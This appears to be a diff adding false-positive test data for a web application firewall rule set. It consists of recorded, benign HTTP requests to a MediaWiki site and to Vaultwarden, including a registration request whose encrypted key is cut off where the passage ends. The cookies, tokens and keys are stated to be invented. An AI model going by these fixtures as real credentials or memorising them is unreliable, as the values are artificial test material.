{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=2osrg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||||
+1387
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,190 @@
|
|||||||
|
# Ordinary Vaultwarden 1.37.5 requests that the Core Rule Set must let through
|
||||||
|
# at the defaults. They were recorded from the web vault driven by a headless
|
||||||
|
# Chrome, from the Bitwarden command line client and from the admin page. Each
|
||||||
|
# line is one request as JSON. Addresses, passwords and tokens are invented,
|
||||||
|
# and the encrypted contents of uploaded files are written as base64.
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/theme_head.6991036cc6ce1ab5eee1.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/styles.7b4e836b041b0b1d10ae.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/css/vaultwarden.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/app/polyfills.11c471dc266a0d8811d6.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/app/vendor.55e794a42a5fe0d2e9eb.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/app/main.1176a28a68b7b4809391.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/styles.31d6cfe0d16ae931b73c.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/images/logo.svg", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/fonts/bwi-font.9ae6e12297499bbf04d1.ttf", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/fonts/inter.c504db5c06caaf7cdfba.woff2", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/368.238d87538b99dd2b92c7.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/466839efc4da38d60ce3.module.wasm", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/locales/en/messages.json?cache=rjxzf", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 83", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 6b36c635-12c1-4537-bc69-64f3507abc05", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"name\":\"Alice python3\",\"receiveMarketingEmails\":false}"}
|
||||||
|
{"method": "GET", "target": "/api/config", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3342", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"masterPasswordHint\":\"the .htaccess one, not powershell\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp/QxIhy+mWJONpBHj7f0bsWUlAol0BDrSMyLhtedzAX13cQaBENMlUny6VKHY9mpvAghYt+d/R8asNIhAGmdJl7t0bKvWrOk4ley7KITbaVHo3PZQoNHbHntf1tPvXj36jWlv1kT083of/2OFzN26P3wnmiQacoWL1PvdpXv0iVMGl6ZitiSTPFGUwPiRN8slYOoMJlJ06iw8ppRSVLqFlHIG4pitmfAv94GiDtAmVPtpTYnMLRcq6bgGF/9AiFwD3ZuOGeD5qVx2H87PRylV2durdfHhVvdqhCtDL4JpLgpUWxuxtfnd7mRCEkqJg8f9Jb7EKLJ6R5373fjfZAuZwIDAQAB\",\"encryptedPrivateKey\":\"2.C6b36YRSVHGD3787nIdlNQ==|DOBa79iUH9i3un4pY36/tZROc7Dr6241IoCBhvutyzWT2nwzlgw5JY+agdADPwUj8cd10e7o0YA+L9bNpGl3+L6gjFaBVdfiGk8qDoym0LQPR6mavqHOKTKR0rY9xcWSMSMONEZQvBmzYISC4EBcPKCEaA6FVCarp+iTkzP0RVHlSwm6HU+Pl6nLMX9LmL8viJKB22igPq12HgeIVUd2JKLmJMa80idyh1sxQ176fx1cy9mZcPTAAS8hBX6s67iRIfv3qi2oJD7M3ErGlljv/+4k700MIKJcURHyV84r9RURwi9VDBppZ74MBWd39Fo6wVA91MF8kPwpeFXHH+F0NKwoFZa7SheF+jZbta1FWrWdlYlpUVYpUPPSviJCk9PQUT67EdnS6zRkA7XcRlsukzJNcZjS4/fCvuktjWaKbR4uIDtAWKln9+ElgiVarbWFHSZILi80f4wh4s/EPUMmqNw9e+whjw2DIM/dydk6kfmEyMZam/Slg8b9+uqylmtkpD8wJd2aHD3Q6Iw2Q8h7gFgg0yRKRXc+rEjMAnG/cHiIcWpDDPVj+bYYCMCfpfGRI0t6XBfHtHfCtXUb6CMt+bN67ZThGKZawMYw8bhNmj5vkqbT8FbMS3mbD9dIdAZrO6seQxyO6UdpWpTIl51jHVUSwUo5Tfet/9NXRipl+M0jSFhWcs6grG0O9r340SehWMQxWNgp8IWNYwEJy5IwldC2Z3AAm3v9Cpmeoh/59szBwVVHkIukDwKkFNFRXG/85NIVdDcTbuZNeTVjDGNg57n/4l6ydh5XjGPDKW+VW1Q+a4r4P3GfmzjLP38B6s60PiRBPVuxQTQbsADhLllyTwu+W1OvLwv2SLWCJ6QGTuOgOtmaZ8z4sLnzox1RaTVmSYvOaYpfyIMQtR9YcRR9G2GPLXtGfyWM6dQlsZG3GzBNMID1l6J2OJy5lAbHNslLOQRk3OnR3N+I9z8q9NnPbklBE5cRkTEP1uIWkkNpujBTMmTTYHmGdRONpkOLeUOkr9kBtndArjIHlvyHdPsDzB5pQGTWCFj0APQWepEA1EODqvvo3mlNUMmH0UJjl0xD6Hw6p+bf6bcUoVwuCuH5Oqt875P2LQesldQ0W3IWbV7EZ7CTbmZPi33tUfGMtN/5NRfY6OhcevRBrGbIpsCLeVOZx6aWoPxSpKhQPycyHIC3s+kIrFl0luxA4U6qNdbwOgBDSG8FiQhm38YwYqYhpaQJCDuIlHpRPDsHEke5THn3m8dAWZullCUfLs1BZ9Uj53CvLTLMiq1m2PGgyyGJyInLqP8HYg6joclMUsw08dZ2w03mbZ7eD9AAUukVArgc9cU4anuUaYU0InAJ